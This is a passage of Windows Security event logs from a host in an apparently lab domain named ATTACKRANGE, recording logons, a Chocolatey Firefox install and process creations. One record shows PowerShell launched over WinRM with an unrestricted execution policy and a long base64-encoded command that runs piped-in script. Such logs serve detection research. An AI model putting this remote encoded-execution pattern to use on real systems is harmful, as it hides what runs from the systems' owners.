or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245961 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245960 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245959 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3DFC1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245966 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc3c - New Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\Firefox\86.0\Firefox Setup 86.0.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd7c - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\Users\Administrator\AppData\Local\Temp\chocolatey\Firefox\86.0\Firefox Setup 86.0.exe" /PreventRebootRequired=true /RemoveDistributionDir=false /S - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245965 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd00 - New Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245967 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc38 - New Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\7zSC3CAC490\setup.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc3c - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\Firefox\86.0\Firefox Setup 86.0.exe - Process Command Line: .\setup.exe /PreventRebootRequired=true /RemoveDistributionDir=false /S - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245969 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd70 - New Process Name: C:\Windows\System32\regsvr32.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc38 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\7zSC3CAC490\setup.exe - Process Command Line: "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files\Mozilla Firefox\AccessibleHandler.dll" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245968 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd6c - New Process Name: C:\Windows\System32\regsvr32.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc38 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\7zSC3CAC490\setup.exe - Process Command Line: "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files\Mozilla Firefox\AccessibleMarshal.dll" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245971 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda4 - New Process Name: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec8 - Creator Process Name: C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe - Process Command Line: "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe" install - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245970 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec8 - New Process Name: C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc38 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\7zSC3CAC490\setup.exe - Process Command Line: "C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245972 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaec - New Process Name: C:\Program Files\Mozilla Firefox\default-browser-agent.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc38 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\7zSC3CAC490\setup.exe - Process Command Line: "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" register-task 308046B0AF4A39CB - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245974 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe0c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4f8 - Creator Process Name: C:\Windows\System32\shutdown.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245973 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4f8 - New Process Name: C:\Windows\System32\shutdown.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd7c - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\Windows\System32\shutdown.exe" /a - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246005 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6BE79 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246004 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6BE79 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246003 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246002 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246001 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x990 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x628 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246000 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x628 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa14 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 